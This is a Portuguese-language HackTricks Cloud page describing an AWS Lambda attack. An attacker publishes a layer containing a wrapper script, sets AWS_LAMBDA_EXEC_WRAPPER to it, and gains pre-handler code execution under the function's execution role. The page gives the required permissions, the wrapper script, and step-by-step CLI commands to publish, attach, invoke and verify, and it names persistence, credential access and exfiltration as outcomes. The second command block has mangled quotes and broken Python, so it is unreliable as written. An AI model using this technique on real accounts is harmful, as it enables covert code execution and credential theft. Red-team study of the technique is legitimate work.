AWS - Lambda Exec Wrapper Layer Hijack (Pre-Handler RCE)
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoie o HackTricks
- Check the subscription plans!
- Participe do đŹ Discord group ou do telegram group ou siga-nos no Twitter đŠ @hacktricks_live.
- Compartilhe hacking tricks enviando PRs para os HackTricks e HackTricks Cloud github repos.
Resumo
Abuse a variåvel de ambiente AWS_LAMBDA_EXEC_WRAPPER para executar um wrapper controlado pelo atacante antes do runtime/handler iniciar. Entregue o wrapper através de uma Lambda Layer em /opt/bin/htwrap, defina AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap e então invoque a função. O wrapper roda dentro do processo do runtime da função, herda a role de execução da função e por fim faz exec no runtime real para que o handler original ainda execute normalmente.
Warning
Esta técnica concede execução de código na Lambda alvo sem modificar seu código-fonte ou role e sem precisar de
iam:PassRole. VocĂȘ sĂł precisa da capacidade de atualizar a configuração da função e publicar/anexar uma layer.
PermissÔes Necessårias (atacante)
lambda:UpdateFunctionConfigurationlambda:GetFunctionConfigurationlambda:InvokeFunction(or trigger via existing event)lambda:ListFunctions,lambda:ListLayerslambda:PublishLayerVersion(same account) and optionallylambda:AddLayerVersionPermissionif using a cross-account/public layer
Script do wrapper
Coloque o wrapper em /opt/bin/htwrap na layer. Ele pode executar lógica pré-handler e deve terminar com exec "$@" para encadear ao runtime real.
#!/bin/bash
set -euo pipefail
# Pre-handler actions (runs in runtime process context)
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
python3 - <<'PY'
import boto3, json, os
try:
ident = boto3.client('sts').get_caller_identity()
print('[ht] sts identity:', json.dumps(ident))
except Exception as e:
print('[ht] sts error:', e)
PY
# Chain to the real runtime
exec "$@"
Etapas do ataque (CLI)
Publicar layer, anexar à função alvo, definir wrapper, invocar
```bash # Vars REGION=us-east-1 TARGET_FN=1) Package wrapper at /opt/bin/htwrap
mkdir -p layer/bin cat > layer/bin/htwrap <<âWRAPâ #!/bin/bash set -euo pipefail echo â[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGIONâ python3 - <<âPYâ import boto3, json print(â[ht] sts identity:â, import(âjsonâ).dumps(import(âboto3â).client(âstsâ).get_caller_identity())) PY exec â$@â WRAP chmod +x layer/bin/htwrap (zip -qr htwrap-layer.zip layer)
2) Publish the layer
LAYER_ARN=$(aws lambda publish-layer-version
âlayer-name ht-exec-wrapper
âzip-file fileb://htwrap-layer.zip
âcompatible-runtimes python3.11 python3.10 python3.9 nodejs20.x nodejs18.x java21 java17 dotnet8
âquery LayerVersionArn âoutput text âregion â$REGIONâ)
echo â$LAYER_ARNâ
3) Attach the layer and set AWS_LAMBDA_EXEC_WRAPPER
aws lambda update-function-configuration
âfunction-name â$TARGET_FNâ
âlayers â$LAYER_ARNâ
âenvironment âVariables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap}â
âregion â$REGIONâ
Wait for update to finish
until [ â$(aws lambda get-function-configuration âfunction-name â$TARGET_FNâ âquery LastUpdateStatus âoutput text âregion â$REGIONâ)â = âSuccessfulâ ]; do sleep 2; done
4) Invoke and verify via CloudWatch Logs
aws lambda invoke âfunction-name â$TARGET_FNâ /tmp/out.json âregion â$REGIONâ >/dev/null aws logs filter-log-events âlog-group-name â/aws/lambda/$TARGET_FNâ âlimit 50 âregion â$REGIONâ âquery âevents[].messageâ âoutput text
</details>
## Impacto
- Execução de código pré-handler no contexto do runtime do Lambda usando a execution role existente da função.
- Nenhuma alteração no código da função ou na execution role é necessåria; funciona em runtimes gerenciados comuns (Python, Node.js, Java, .NET).
- Permite persistence, credential access (por exemplo, STS), data exfiltration e runtime tampering antes do handler ser executado.
> [!TIP]
> Aprenda e pratique AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Aprenda e pratique GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Aprenda e pratique Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Apoie o HackTricks</summary>
>
> - Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Participe do** đŹ [**Discord group**](https://discord.gg/hRep4RUj7f) ou do [**telegram group**](https://t.me/peass) ou **siga**-nos no **Twitter** đŠ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Compartilhe hacking tricks enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>
HackTricks Cloud

